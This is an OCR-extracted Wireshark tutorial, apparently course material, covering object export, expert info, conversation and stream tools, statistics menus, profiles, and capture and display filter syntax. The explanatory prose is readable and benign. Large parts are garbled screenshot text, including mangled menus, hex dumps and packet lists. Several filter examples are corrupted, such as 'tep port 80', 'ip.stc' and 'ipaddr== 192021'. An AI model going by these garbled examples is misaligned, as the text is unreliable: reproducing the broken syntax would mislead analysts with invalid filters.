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Introduction to Wireshark and Its Importance in Cybersecurity

Wireshark is a widely used network protocol analyzer that allows security professionals, system

administrators, and network engineers to capture and inspect traffic in real time. It provides a detailed view
of network communications, helping users analyze packets at a granular level.

Why Wireshark is Used in Cybersecurity?
Network Traffic Analysis

1.

Helps monitor and analyze real-time data transmission across a network.
2. Identifies unusual traffic patterns that could indicate a cyber attack.

Intrusion Detection and Threat Hunting

1. Detects signs of malicious activity, such as unauthorized access or malware communication.
2. Assists in tracking down the source of an attack by analyzing traffic behavior.

Packet Inspection and Forensics

1. Examines network packets to identify malware-infected data or suspicious payloads.
2. Helps in post-incident investigations to understand how a breach occurred.

Performance Monitoring and Troubleshooting

1.

Identifies network congestion, dropped packets, and misconfigurations affecting
performance.

2. Troubleshoots network latency and connectivity issues efficiently.
Penetration Testing and Ethical Hacking

1. Used to analyze vulnerabilities in network security protocols.

2. Helps ethical hackers understand how attackers can intercept and manipulate network
traffic.

Decrypting Encrypted Traffic (When applicable)

1. Allows inspection of unencrypted and weakly encrypted data.

2. Aids in ensuring sensitive information is not exposed over the network.

Wireshark is an essential tool in cybersecurity defense, providing visibility into network traffic to
identify vulnerabilities, detect attacks, and enhance overall security.

Export Objects (Files)

Wireshark can extract files transferred through the wire. For a security analyst, it is vital to discover

shared files and save them for further investigation. Exporting objects are available only for selected
protocol's streams (DICOM, HTTP, IMF, SMB and TFTP).




Ig Edit View Go Capture Analyze 3Statistics Telephony Wire

Packet * Hostname Content Type Size Filename
Open crrls O 27 pagead?. googlesyndication.com text/html 3608 bytes ads?client=ca-pub-23091919484
—=|| 38 www.ethereal.com text/html 18 kB download html
Open Recent vk
| Merge.. E
| Protocol
I t from Hex Dump... &
| import from Hex Dump, B335 Tep
Close Ctrlew Ba.237 Tcp
B.223 TCP
B.223 HTTP
Save As... Crisshift+S gg 237 Tep
File Set » BO.237 TCP
. p.223 TCP
Export Specified Packets... Bo.237 TCP
Export Packet Dissections vB.223 TCP
i Be.237 TCP
Export Packet Bytes.. Ctrl+Shift+X 0. 237 TCP
Export PDUs to File... B.223 TCP
| Export TLS Session Keys... £283 DS
Export Objects
Ctrisp
Quit ctrieg IME... -
103.814334 145.254.1608.237 65.268.22  SMB... o pilten - -
28 3.374852 065.208.228.223 145.254.1 TFTP.. Help Save All ||  Close Save
23 145 o648 1 ——

Time Display Format

Wireshark lists the packets as they are captured, so investigating the default flow is not always the best
option. By default, Wireshark shows the time in "Seconds Since Beginning of Capture", the common
usage is using the UTC Time Display Format for a better view. You can use the "View --> Time
Display Format" menu to change the time display format.
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Expert Info

Wireshark also detects specific states of protocols to help analysts easily spot possible anomalies and
problems. Note that these are only suggestions, and there is always a chance of having false
positives/negatives. Expert info can provide a group of categories in three different severities. Details
are shown in the table below.

Severity Colour Info
Chat Blue Information on usual workflow.
Note Cyan Notable events like application error codes.

Warnings like unusual error codes or problem statements.
Warn Yellow

Error Red Problems like malformed packets.




Frequently encountered information groups are listed in the table below. You can refer to Wireshark's

official documentation for more information on the expert information entries.
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Apply as Filter

This is the most basic way of filtering traffic. While investigating a capture file, you can click on the
field you want to filter and use the "right-click menu"

r "Analyse --> Apply as Filter" menu to filter the specific value. Once you apply the filter,
Wireshark will generate the required filter query, apply it, show the packets according to your choice,
and hide the unselected packets from the packet list pane. Note that the number of total and displayed
packets are always shown on the status bar.
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Conversation filter

» "Conversation Filter" option helps you view only the related packets and hide the rest of the packets
easily. You can use the"right-click menu" or "Analyse -
-> Conversation Filter" menu to filter conversations.
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Colourise Conversation

¢ This option is similar to the "Conversation Filter" with one difference. It highlights the linked
packets without applying a display filter and decreasing the number of viewed packets. This option
works with the "Colouring Rules" option ad changes the packet colours without considering the
previously applied colour rule. You can use the "right-click menu" or "View --> Colourise
Conversation" menu to colourise a linked packet in a single click. Note that you can use the "View

--> Colourise Conversation --> Reset Colourisation" menu to undo this operation.
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Prepare as Filter

Similar to "Apply as Filter", this option helps analysts create display filters using the "right-click" menu.
However, unlike the previous one, this model doesn't apply the filters after the choice. It adds the
required query to the pane and waits for the execution command (enter) or another chosen filtering
option by using the ".. and/or.." from the "right-click menu"
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Apply as Column

By default, the packet list pane provides basic information about each packet. You can use the
"right-click menu" or "Analyse --> Apply as

Column" menu to add columns to the packet list pane. Once you click on a value and apply it as a
column, it will be visible on the packet list pane. This function helps analysts examine the appearance
of a specific value/field across the available packets in the capture file. You can enable/disable the

columns shown in the packet list pane by clicking on the top of the packet list pane.
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Follow Stream

Wireshark displays everything in packet portion size. However, it is possible to reconstruct the streams
and view the raw traffic as it is presented at the application level. Following the protocol, streams help
analysts recreate the

application-level data and understand the event of interest. It is also possible to view the unencrypted

protocol data like usernames, passwords and other transferred data.

You can use the"right-click menu" or '"Analyse --> Follow TCP/UDP/HTTP Stream" menu to
follow traffic streams. Streams are shown in a separate dialogue box; packets originating from the
server are highlighted with blue, and those originating from the client are highlighted with red.

Once you follow a stream, Wireshark automatically creates and applies the required filter to view the
specific stream. Remember, once a filter is applied, the number of the viewed packets will change. You
will need to use the "X button" located on the right upper side of the display filter bar to remove the
display filter and view all available packets in the capture file.

Statistics

» This menu provides multiple statistics options ready to investigate to help users see the big picture
in terms of the scope of the traffic, available protocols, endpoints and conversations, and some
protocol-specific details like DHCP, DNS and HTTP/2. For a security analyst, it is crucial to know
how to utilise the statical information. This section provides a quick summary of the processed
pcap, which will help analysts create a hypothesis for an investigation. You can use the

"Statistics" menu to view all available




options. Now start the given VM, open the Wireshark, load the "Exercise.pcapng" file and go
through the walkthrough.

Resolved Addresses

This option helps analysts identify IP addresses and DNS names available in the capture file by
providing the list of the resolved addresses and their hostnames. Note that the hostname information is
taken from DNS answers in the capture file. Analysts can quickly identify the accessed resources by
using this menu.

Thus they can spot accessed resources and evaluate them according to the event of interest. You can use

the "'Statistics --> Resolved Addresses' menu to view all resolved addresses by Wireshark.
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Protocol Hierarchy

This option breaks down all available protocols from the capture file and helps analysts view the
protocols in a tree view based on packet counters and percentages. Thus analysts can view the overall
usage of the ports and services and focus on the event of interest. The golden rule mentioned in the

previous
room is valid in this section: you can right-click and filter the event of interest. You can use the

""Statistics --> Protocol Hierarchy' menu to view this info.
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Conversations

Conversation represents traffic between two specific endpoints. This option provides the list of the
conversations in five base formats; ethernet, [Pv4, IPv6, TCP and UDP. Thus analysts can identify
all conversations and contact endpoints for the event of interest. You can use the "Statistic -->

Conversations" menu to view this info.
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v
Limit to display filter Absolute start time Conversation Types -
Help Copy - r glm. !

Endpoints

The endpoints option is similar to the conversations option. The only difference is that this option
provides unique information for a single information field (Ethernet, IPv4, IPv6, TCP and UDP ). Thus
analysts can identify the unique endpoints in the capture file and use it for the event of interest. You can
use

the "Statistics --> Endpoints" menu to view this info.

Wireshark also supports resolving MAC addresses to human-readable format using the manufacturer
name assigned by IEEE. Note that this conversion is done through the first three bytes of the MAC
address and only works for the known manufacturers. When you review the ethernet endpoints, you can
activate this option with the "Name resolution" button in the lower-left corner of the endpoints

window.
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Name resolution is not limited only to MAC addresses. Wireshark provides IP and port name

resolution options as well. However, these options are not enabled by default.

o If you want to use these functionalities, you need to activate them through the "Edit -->
Preferences --> Name Resolution' menu. Once you enable IP and port name resolution,
you will see the resolved IP address and port names in the packet list pane and also will be

able to view resolved names in the "Conversations" and "Endpoints" menus as well.
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Besides name resolution, Wireshark also provides an IP geolocation

identify the map's source and destination

mapping that helps analysts
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addresses.

But this feature is not activated by default and needs supplementary data like the GeolP
database. Currently, Wireshark supports MaxMind databases, and the latest versions of the
Wireshark come configured MaxMind DB

resolver. However, you still need MaxMind DB files and provide the database path to Wireshark by
using the "Edit --> Preferences --> Name Resolution --> MaxMind database directories" menu.
Once you download and indicate the path, Wireshark will automatically provide GeolP information
under the IP

protocol details for the matched IP addresses.

File Edit View Go Capture Analyze Statistics Telephony m:eless Tools Help
‘ el ) = & == 4
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IPv4 and IPv6
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Up to here, almost all options provided information that contained both versions of the IP addresses.
The statistics menu has two options for narrowing the statistics on packets containing a specific IP
version. Thus, analysts can identify and list all events linked to specific IP versions in a single window
and use it for the event of interest. You can use the "Statistics --> IPvX Statistics' menu to view this

info.
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Conversations a8.4.4 4 0.0000 0.01% 00100 285510492942
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DNS

This option breaks down all DNS packets from the capture file and helps analysts view the findings in a
tree view based on packet counters and percentages of the DNS protocol. Thus analysts can view the
DNS service's overall usage, including rcode, opcode, class, query type, service and query stats and use
it for the event of interest. You can use the "Statistics --> DNS" menu to view this info.
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HTTP

This option breaks down all HTTP packets from the capture file and helps analysts view the findings
in a tree view based on packet counters and percentages of the HTTP protocol. Thus analysts can

view the HTTP service's overall usage, including request and response codes and the original

requests. You can use the "Statistics --> HTTP" menu to view this info.
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Copy Save 85, Close

= bestphp.vulnweb.com —

[Topic / Item

= hitpytestphp vulnweb.com)

= hetpyfeestphp vultweb.com/categorics.php
= hittp/ftestphpvulrweb.com/fartises. php
= hitpyfeestphp.vulnweb.com/categaries. phip
= http:/ftestphp valmweb.com/listproducts phpcats1
Wekp:/frestphpvulmweb comfshowimage, phpifile= /pictures/T jpglsire =160
hpofilem 180

htep,

hiep:/ftestphp.vulrweb. ge

Mtp.ffestphp.lrweb com shawimage. phptfiles |pictures/1. jpgasize =160

bttp:/frestphp vulerwel comyshawimage. phptfiles /pictures2 jpgAskie =160
1 phpile: B

J
pflle=/pictures/4jpgasize=160

nf

hittpy,fLestphp vulmweb. comjartists phpratist=1
= http testphpvuleweb, com/comment.phptakds1
Pt st ohe v com iy

Jpictures/1 jpglszes160

= hitp//10,90.47.123:9696/

tp://10,10.47.123- 9696 nate it
bt/ 10, 10.47.1 239696/ Tavicon ko

| Display filter:

Apply
Copy Save .. Close

Bookmarks and Filtering Buttons

We've covered different types of filtering options, operators and functions. It is time to create filters and

save them as bookmarks and buttons for later usage. As mentioned in the previous task, the filter toolbar

has a filter bookmark section to save user-created filters, which helps analysts re-use favourite/complex

filters with a couple of clicks. Similar to bookmarks, you can create filter buttons ready to apply with a

single click.

Creating and using bookmarks.
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Ele Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm 8 % @ = = i

IPv4 address 192.0 #3712 - B9 [ACK]

Filter Name ~ Filter Expression
Ethernet address 00:00:5¢:00:53:00 eth.addr == 00:00:5€:00:53:00
Ethernet type 0x0806 (ARF) eth.type == Ox0806
Ethernet broadcast eth.addr == FEATFRFFFEAT
No ARP not arp
IPva only ip

IPv4 address 192.0.2.1
1Pv4 address isn't 192.0.2.1 (don't use != for thi

p.addr == 192.0.21
Iip.addr==192.0.2.1)

1Pv6 only ipvé
IPvG address 2001:dbs: ipv6.addr == 2001.dbs::1
TCPoenly tep
LDP only udp
Non-DNS Yudp.port == 53 || tep.port == 53)
TCP or UDP portis 80 (HTTP) tep.port == 80 || udp.port == 80
HTTP http
Mo ARF and no DNS not arp and '{udp port == 53)

ad

new display flter

Help

5372 — 88 [SYN] Seqs=d Win=8768 Len=f MSS=1488 SACK. PERM=1
38 - 3372 [SYN, ACK] Seq=0 Ack=1 Win=5848 Len=B MS5=1388 SACK

Manage Dispilay Filkess §372 - B8 [ACK] Seq=1 ACK=1 WiN=9068 Len=o
Filber Button Preferences .. BET /download.html HTTR/1.1
-00: T 88 —~ 3372 [ACK] Seq=1 Ack=480 Win-6432 Len=@

Ethernet address 00:00:5¢:00.53:00, eth.addr == (0:00:5¢:00:53.00 80 - 3372 [ACK] Seq=1 Ack=488 Win=6432 Len=1389 [TCP segnent

Ethernet Lype 00600 (ARP): ethtype == 0x0800 3372 - 89 [ACK] Seq=486 Ack=1351 Win=9666 Len=3

Ethernet broadcast: esh.addr == IR g0 —~ 3372 [ACK] Seq=1361 Ack=480 Win=0432 Len=1380 [TCP segme
3372 - B0 [ACK] Seq=486 Ack=2761 Win=9868 Len=a

No ARP: not arp 86 - 3372 [ACK] Seq=2761 Ack=480 Win=6432 Len=1360 [TCP segne

IPv4 only: ip ge — 3372 [PSH, :.cx] Seq= .u.‘u .Ack 480 Win=6432 Len=1388 [TCP

L ‘home/ubuntu/.config/wireshar,

Cancel |

ok |

lters

Creating and using display filter buttons.

Edit Wiew Go Capture Analyze Stabistics Telephony h{lmless Tocls ﬂ!la
Am S '5'(‘ €

WAooy o Okl file Cir

F

Labek

Filter Buttons Preferences...

play Filter button

Edit View Qo Capture Analyze  Statistics Telephony mueless Icols Help
dm i ® & @ ==

Comment: Find all frames with add numbers.

Filter Buttons Preferences... |Label Odd Frames Filber: | stringiframe number) matches *[13579]5"

Add & display Filter button

Cancel |

Edit Yiew Qo Capture Analyze 3Statistics Telephony Wireless Jools Help

d 8@ "'St'c ==

Edit View Co Capture Analyze Stabistics Telephany wuelm _[onls H:lp

ANZ8 -CRE =
MNo.

InI'o

Protocol  Length
te

Edit !IM Go Gapture Analyze Statistics Telephony nlrel:ss Iools Help

4. 2 & B T
| string(frame.number) matches [13575}5" 80 - Odd Frames
Mo, = Time Source Destination protocol  Length Info K1 apptyas Filter i
B, GEUeEE B 6 3 B B 7 Bg q=8 g788 Lon=e Prepare as Filter L]
3j9.911310 145.284.160.237 65.208.228.223 TP 54 3372 - B0 [ACK] Seq=1 Ack=1 Win=s688 Len=g c
5p.472116 &5.208,228.223 145,254,168, 237 TCP 54 B9 - 3372 [ACK] 5¢0=1 ACk=488 Win=8432 Len=8 LA
TR .812666 145,254.168.237 65,.208,.228.223 = 54 3372 BB [ACK] Seq=488 Ack=1381 Win=9868 | L] Edit
9. 012894 145.254.169.237 65.208,228.223 L= 54 3373 - 8@ [ACK] Seq-438 Ack=I781 Win-gf&s L Disable
1182 553672 65.208.228.223 145,254 . 160,237 Tce 1434 B8 — 3372 [PSH, ACK] Seqaa141 Ack=480 Win=f432 Len=13R0
13>, 553672 145.254.160.237 145.253.2.203 NS #9.Scandard query 8x8823 A pagead2.googlesyndication.co Remave
1502 . B14046 145.254.1608.237 65.208.228.223 e 54 3372 BE [ACK] Seq=488 AcCk=600I Win=uB68 Len=g A Filter Buttan Preferences. .
1i12.924100 145,255.2.203 145,254,160, 237 i 188 Standard guery response 9x@923 A pagesd2.0000lesyndicdb
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Profiles

Wireshark is a multifunctional tool that helps analysts to accomplish in-depth packet analysis. As we
covered during the room, multiple preferences need to be configured to analyse a specific event of
interest. It is cumbersome to re-change the configuration for each investigation case, which requires a
different set of colouring rules and filtering buttons. This is where Wireshark profiles come into play.
You can create multiple profiles for different investigation cases and use

them accordingly. You can use the "Edit --> Configuration Profiles'" menu or the "lower right

bottom of the status bar --> Profile" section to create, modify and change the profile configuration.

Wireshark - Configuration Profiles
View Qo Capture Analyze Statistics Telephd

Copy )| | |search for profile ... All profiles >

Find Packet,, Ctri+F =

érnd Next Ctri+N Profile Type

Find Preyious. cuien

rsona

::::I:T:: ::Ir:;mfsl E:::’:m . | | Network Troubleshooting Personal
Threat Hunting Persanal
Bluetooth Global
Classic Global
No Reassembly Global

Ignore/Unignore Packet(s) Ctri+D

Ignore All Displayed Ctrl+shift+D

Set/Unset Time Reference CtrleT

Time Shift... Cerl+Shift+T

Ceri+alt+C

)
Packet Comment...

A Y Shomeubuntu/.config/wireshark

Delete All Packet Comments

Configuration Profiles... &, Crrbeshift+A
Preferences.., Ctri+Shift+P

|Create a new profile using default settings. ]‘nport Cancel | OK |

| Manage Profiles...

New...

v Default
CTF
Network Troubleshooting
Threat Hunting
Bluetooth
Classic

Import

Packets: 58653 - Displayed: 58653 (100.0%) - Comments: 1 Profile: Def:

No Reassembly

Packet Filtering

. This type of filter is used to save only a specific part of the traffic. It is set
Capture Filters

before capturing traffic and not changeable during the capture.

. . This type of filter is used to investigate packets by reducing the number of
Display Filters

visible packets, and it is changeable during the capture.

Note: You cannot use the display filter expressions for capturing traffic and vice versa.
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The typical use case is capturing everything and filtering the packets according to the event of interest.
Only experienced professionals use capture filters and sniff traffic. This is why Wireshark supports more

protocol types in display filters.

Capture Filter Syntax

These filters use byte offsets hex values and masks with boolean operators, and it is not easy to

understand/predict the filter's purpose at first glance. The base syntax is explained below:
* Scope: host, net, port and portrange.
¢ Direction: src, dst, src or dst, src and dst,
¢ Protocol: ether, wlan, ip, ip6, arp, rarp, tcp and udp.
» Sample filter to capture port 80 traffic: tep port 80

You can read more on capture filter syntax from here and here. A quick reference is available under

the "Capture --> Capture Filters'" menu.

Filter Name = Filter Expression
Ethernet address 00:00:5¢:00:53:00 ether host 00:00:5e:00:53:00
Ethernet type 0x0806 (ARP) ether proto 0x0806
Mo Broadcast and no Multicast not broadcast and not multicast
No ARP not arp
IPv4 only ip
IPvd address 192.0.2.1 host 192.0.2.1
. IPV6 only ip6
IPv6 address 2001:dba:1 host 2001:db8::1
TCP only tep
UDP only udp
MNon-DNS not port 53
TCP of UDP port 80 (HTTF) portsg
HTTP TCP port (80) tep port http
. Mo ARP and no DNS not arp and port not 53
Qapture — 5nalyze - ‘.Etat’s.) ICE Teieph?n! MNon-HTTP and non-SMTP to/from www.wireshark.org not port 80 and not port 25 and host www. wireshar. ..
@ Options... Ctri+k
A Start Ctrl+E
-

Ly

Refresh Interfaces F5

Capture Filters...

Help Cancel oK

Display Filter Syntax

This is Wireshark's most powerful feature. It supports 3000 protocols and allows conducting packet-

level searches under the protocol breakdown. The official "Display_Filter Reference" provides all

supported protocols breakdown for filtering.
¢ Sample filter to capture port 80 traffic: tcp.port == 80

Wireshark has a built-in option (Display Filter Expression) that stores all supported protocol
structures to help analysts create display filters. We will cover the "Display Filter Expression" menu
later. Now let's understand the
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fundamentals of the display filter operations. A quick reference is available under the " Analyse -->

Display Filters'" menu.

EGELTFEY Statistics Telephony Wireless To

Display Filters...
Display Filter Macros...

Apply as Column
Apply as Filter
Prepare a Filter
Conversation Filter
Enabled Protocols...
Decode As...

Reload Lua Plugins
SCTP

Follow

Show Packet Bytes...
Expert Information

Display Filter Expression..

Exer

de

Cerl+Shift+l

Ctri+Shift+E

Ctri+Shift+L

Ctri+shift+0

Filter Name
Ethernet address 00:00:5¢:00:53:00
Ethernet type 0x0806 (ARP)
Ethemnet broadcast
No ARP
1Pvd only
IPvd address 152.0.2.1

1PvS only

IPv6 address 2001:dbs:1
TCP only

UDP only

Non-DNS

TCP of UDP port is 80 (HTTP)
HTTP

Mo ARP and no DNS

MNon-HTTP and non-SMTP to/from 192.0.2.1

~ Filter Expression
eth.addr == 00:00:5¢:00:53:00
eth.type == 0x0806
eth.addr == FiFEAEFRFRFF
not arp
ip
ipaddr== 192021

IPv4 address isn't 192.0,2.1 (don't use != for this!) ![ip.addl == 192.0.2.1)

ipve

ipvé.addr == 2001:dba:1

tep

udp

{udp.port == 53 || tcpport == 53)

tep.port == 80 || udp.port == 80

http

net arp and t{udp.port == 53)

ip.addr == 192.0.2.1 and not tcp.port in {80 25}

Help

Cancel

oK

Comparison Operators

You can create display filters by using different comparison operators to find the event of interest.

The primary operators are shown in the table below.

nglis -Like escription xample
English C-Lik D t E 1

ip.stc == 10.10.10.100
eq = Equal
ne 1— Not equal ip.src !=10.10.10.100
gt > Greater than ip.ttl> 250
1t < Less Than ip.ttl <10

Greater than or equal to

ge >= ip.ttl >= 0xFA
le <= Less than or equal to ip.ttl <= 0xA

Note: Wireshark supports decimal and hexadecimal values in filtering. You can use any format you

want according to the search you will conduct.

Logical Expressions

Wireshark supports boolean syntax. You can create display filters by using logical operators as well.

English C-Like Description Example

. (ip.src == 10.10.10.100) AND (ip.src =5
and && Logical AND T

. (ipstc == 10.10.10.100) OR (ip.src ==
or ” LOglC&l OR 10.10.10.111)
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not ! LOgiC&l NOT !(ip.src ==10.10.10.222)
Note: Usage of v is

deprecated; using it could
provide inconsistent results.
Using the i(ale) style is
suggested for more consistent

results.

Packet Filter Toolbar

The filter toolbar is where you create and apply your display filters. It is a smart toolbar that
helps you create valid display filters with ease. Before starting to filter packets, here are a few

tips:
o Packet filters are defined in lowercase.

¢ Packet filters have an autocomplete feature to break down protocol details, and each detail is

represented by a "dot".

» Packet filters have a three-colour representation explained below.

Green Valid filter

Red Invalid filter

Yell. Warning filter. This filter works, but it is unreliable, and it is suggested to
ellow
change it with a valid filter.

Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dmie@® % € :

il |lp.proto == 6 =]

k

File Edit View Go Capture Analyze GStatistics Telephony Wireless Tools Help

AdE 2@ = & = = T
i [ip.protoo ==& 58
File Edit View Go Capture Anslyze Statistics Telephony Wireless Tools Help

Amge RE ~= &

v’.: i.p.proto =6 o

Protocol Filters

As mentioned in the previous task, Wireshark supports 3000 protocols and allows packet-level
investigation by filtering the protocol fields. This task shows the creation and usage of filters

against different protocol fields.

IP Filters

IP filters help analysts filter the traffic according to the IP level information from the packets
(Network layer of the OSI model). This is one of the most commonly used filters in Wireshark.

These filters filter network-level
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information like IP addresses, version, time to live, type of service, flags, and checksum values.

The common filters are shown in the given table.

Filter Description

ip Show all IP packets.

ip.addr == 10.10.10.111

Show all packets containing IP address 10.10.10.111.

ip.addr = 10.10.10.0/24 Show all packets containing IP addresses from 10.10.10.0/24 subnet.
ip.stc ==10.10.10.111 Show all packets originated from 10.10.10.111
ip.dst==10.10.10.111 Show all packets sent to 10.10.10.111

Note: The ip.addr filters the traffic without considering the packet
ip.addr vs ip.src/ip.dst direction. The ip.src/ip.dst filters the packet depending on the packet
direction.

Ble Ede Wiew o faptare frofyre Statition Telephony imhreless Tools pelp
AN S ® B =

2474 o~ 3372

fe f1 10 88 8166 B8 80 ©1 0o o 06 [N 45 o8

®3 36 OF 41 48 BE 55 80 43 eb 51 Tr &9 ed 41 06

| @i UF @2 dc 80 bU 3N af Fu £3 08 UG 0O 08 O oI
3 €3 Be 00 U0 92 02 ©9 bd 01 0T 0L 03

[Fachets: a5t Deplapes 45 01w ] Co

e [t Yww Go [actus fayte geathlice Telashasy peven Josh gl
'R ® g o [

Iie G Mrw G Ceeive Anabis Sl Telphony mwien Tos el

'S R RE

{ prTE e |

-

B F e anyee 1 st

TCP

TCP filters help analysts filter the traffic according to protocol-level information from the packets
(Transport layer of the OSI model). These filters filter transport protocol level information like
source and destination ports, sequence number, acknowledgement number, windows size,

timestamps, flags, length and protocol errors.

Filter Description Filter Expression
dEnioi===tit Show all TCP packets EiRBOT =358 Show
with port 80 all UDP packets
with port 53
Show
tep.sreport== 1234 Show all TCP paCketS udp.sreport== 1234 all UDP paCketS
originating from port 1234 originating from
port 1234
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tep.dstport== 80

Show all TCP packets
to port 80

sent udp.dstport== 5353

Show
all UDP packets
sent to port 5353

Application Level Protocol Filters | and DNS

Application-level protocol filters help analysts filter the traffic according to application protocol

level information from the packets (Application layer of the OSI model ). These filters filter

application-specific information, like payload and linked data, depending on the protocol type.

Filter Description Filter Description

] Show . Show

ttp ns
all HTTP packets all DNS packets
Show all packets with

http.response.code P dns.flags.response Show

; HTTP response code| .

=2t 0 all DNS requests
"200"

http.request.method Show all HTTP GET dns.flags.response Show

I requests - all DNS responses

http.request.method
=="POST"

Show
all HTTP POST

requests

dns.qry.type==1

Show all DNS "A"

records
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Display Filter Expressions

¢ Wireshark has a built-in option (Display Filter Expression) that stores all supported protocol
structures to help analysts create display filters. When an analyst can't recall the required filter
for a specific protocol or is unsure about the assignable values for a filter, the Display Filter
Expressions menu provides an easy-to-use display filter builder guide. It is available
under the "Analyse --> Display Filter Expression" menu.

Field Name

ip.opt.sec_rfc791_hr- Ha
ip.opt.sec_rfc791 e
ip.opt.sec_rfc791 Jtee - Transmissi,..

Relation
ndling R... = |is present

bled.length - R
ip. bled_in - nbled ...

ip.rec_rt - Recorded Route

ip.rec_rt_host - Recorded Route H... | Value (Unsigned integer, 1 byte)
by . | ip.src - Source
LOELEER Statistics  Telephony . ip.src_host - Source Host [
Display Filters... ip.sre_rt -hSource Route Predefined Values
. _‘ ip.sre_rt_host - Source Route Host Y . =
Display Filter Macros... ip.subopt_too_long - Suboption w... 12::PHOP by-Hop Option
= : 7 3 ip.tos - Type of Service
Display Filter Expression... [ ip.tos.cost - Cost ‘GGC';F'
- ip.tos.delay - Delay

Apply as Column Ctri+shift+l ip.tos.precedence - Precedence ‘S':ll‘:am

i ke g ee |
Apply as Filter ' ip.tos.throughput - Throughput
Prepare a Filter » ip.ttl - Time to live ECP

. ) ip.ttlincb - Time Tolive IGRP
Conversation Filter » ip.ttl.too_small - Time To Live BBN RCC

ip.version - Version . -
Enabled Protocols... Ctrl+Shift+E + IPv6 Destination - Destination Optio... £
+ IPv6 Fragment - Fragment Header f
Decode As... 1PV6 HSGW Link Local Address peT..
. . + IPv6 Hop-by-Hop - IPv6 Hop-| op .
Reload Lua Plugins Ctrl+Shift+L » IPv6 Routing - Routing Headfer for IPv6 =
SCTP ' | search: | x |
Follow " ||ip.proto==6_ _
Show Packet Bytes... Curieshifts0 | |ICEEGK D hmatthéiter
g | =

Expert Information = | T

it View Go Capture Analyze Statistics Telephony Wireless Tools Help
EO) TRE =

Alipproto=—=6 <% o]

(8]

=3
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Advanced Filtering

So far, you have learned the basics of packet filtering operations. Now it is time to focus on specific

packet details for the event of interest. Besides the operators and expressions covered in the previous

room, Wireshark has advanced operators and functions. These advanced filtering options help the

analyst conduct an in-depth analysis of an event of interest.

Filter: "contains"

Filter contains
Type Comparison Operator
L Search a value inside packets. It is case-sensitive and provides similar
Description . i . i . :
functionality to the "Find" option by focusing on a specific field.
Example Find all "Apache" servers.
List all HTTP packets where packets' "server" field contains the "Apache"
Workflow
keyword.
Usage http.server contains "Apache"

Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
F R C) X [ == i
W | http.server contains "Apache™] =]
o Time Source Destination Protocol  Langth  Info
g 4, BAGDED 65,208 50 - ;
v
» Frame 38: 478 bytes on wire (3824 bits), 478 bytes captured (3824 bitg~ B8 BA 91 B8 6B B9 Te TF 20 80 91 BE BB 9O 4% 68 |
« Ethernet II, Src: fe:ff:20:00:01:00 (fe:ff:20:60:01:09), Dst: Xerox_ 68 €61 do cO ac 49 8O 2f 856 2f e0 41 d6 ed df 91 fe e’ /
+ Internet Protocel Version 4, Src: 65.208.228,223, Dst: 145.254.160.237 a8 od 00 56 0d 2c 11 d¢ a7 a0 38 af ff £3 58 18 Py L
+ Transmission Control Protocol, Src Port: 88, Dst Port: 3372, Seq: 1794 19 20 3d 97 00 00 65 6 G4 20 73 75 70 70 6f T2 = -enc
+ [1a Reassembled TCP Segments (18364 bytes): ©6(1380), #8(1389), #i9(13 ;: g: :Ii_- ;3 :; ;3 ;; gg g_\; 29 ;g gg gi gg g: ;5 t gu:s“ c
H lﬂi’P‘l‘t‘tt Transter Protocol T : a a 3 c f i) t Ethere &
mn‘ m 05 Ga 20 28 3c 01 20 68 72 05 60 3d 22 0d G109 e =<a hr
r i 6c T4 67 3a 63 74 66 65 72 65 61 6¢ 2d 75 73 65 ltoiethe r
,E::‘:::ielcz:’siﬁn" ;?;’gﬁ;“f” HTTP/1.1 260 OK\r\a] 72 73 5b 41 52 5d €5 T4 68 65 72 65 61 Bz 2 63  rs[AT)er |
St It Cods: 6 g 6f 6d 22 3e 65 74 66 65 72 65 61 Gc 2d 75 73 65 om">ethe r
Starus Code:. 209 _ 72 73 5h 41 54 5d 65 74 68 65 72 65 61 6c 2e 63  re[AT)et r
[Status Code Descrintion: 0K} 6f 6d 3c 27 61 30 Ga 20 26 20 20 6d 61 63 6c 69  ome/a>
Response Phrase: 0K R . 6e 67 20 6¢ 69 73 74 2¢ 3c 62 72 3¢ €a 20 26 46 ng list, <
Date: Tllu 004 10:17:12 GMTr\n 6f 72 20 63 6F 72 72 65 63 74 60 Gf 6e 73 2f 61 or corre ¢
| 64 64 60 74 69 BF 60 73 2f T3 75 67 €7 65 73 74 dditions ¢
« 20 Apr 20084 13:17:88 GMTAr\n €9 6f Ge 73 20 66 6f T2 20 74 6B 68 73 20 V7 65  ions for
ETag 9’010 4656-7e354b8E"\r\n 62 20 70 €1 67 65 20 20 ©1 6e 64 26 Jc 62 Je 6e b page [ ¢
Accept-Ranges: bytesh\rhn 6f 74 3c 27 62 3e 20 45 74 6B 65 72 05 01 G6c @a ot</b> E t
» Content-Length: 18878\r\n 26 20 73 75 78 70 ©f T2 74 20 71 75 €5 73 74 69 suppor t
Keep-Alive: timeout=1%, max=168\rin 6f 6e 73 29 2c 28 70 6c 65 61 73 65 20 73 65 6e  ons), pl €
Connection: Keep-Alive\r\n G2 20 65 6d 61 69 &c 20 74 6f Ba 26 28 Ac 61 280 d email ¢
Content-Type: text/htnl; charset=150-8850-1\r\n 68 72 65 66 3d 22 6d 61 B9 6c 74 6f 3a 65 74 68 href="ma i
\r\n 65 72 65 61 6c 2d 77 65 62 5b 41 52 50 55 74 66  ereal-we k|
[Hﬂ'P response 1/1] >
o Arima cdinn & raniecr 1 QGIWEREE8S_ cerandcl 5 Frame (478 bytes) | Reassembled TCP (18354 bytes)
@ 7 Exercise.pcapng I Packets: 58653 - Displayed: 1 Il!.lm}-c 1 Profile: Default
3 " "
Filter: "matches
Filter matches
Type Comparison Operator
o Search a pattern of a regular expression. It is case insensitive, and complex
Description . .
queries have a margin of error.
Example Find all .php and .html pages.
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List all HTTP packets where packets' "host" fields match keywords ".php" or
Workflow

" html".
Usage http.host matches "\.(php|html)"

®

4 6.911318

&

Efle Edit yiew Go Capture Analyze Statistics Telephony Wireless Jools Help

A4 . 2

145, 254.168.237

65.200.228.223

GE] 7dtwnload hted HITP/4.1
pagead/ads?client =ca- pub- 2399191 94807306294r andon=16844}t3

/ HTTP/1.1

ffavicon.ico HTTP/1.1
fnote. txt HTTRA1.3

! HTTP/1.1
fcategories.php HTTR/1.1
fartists.php HTTP/1.1
/categories.php HTTR/1.1

flistproducts.php?cat=1 HTTPF1.1

fshowimage . php7file=, /pictures/l.jpgEsize=169
/showimage . /pictures/2. jpolsire=108
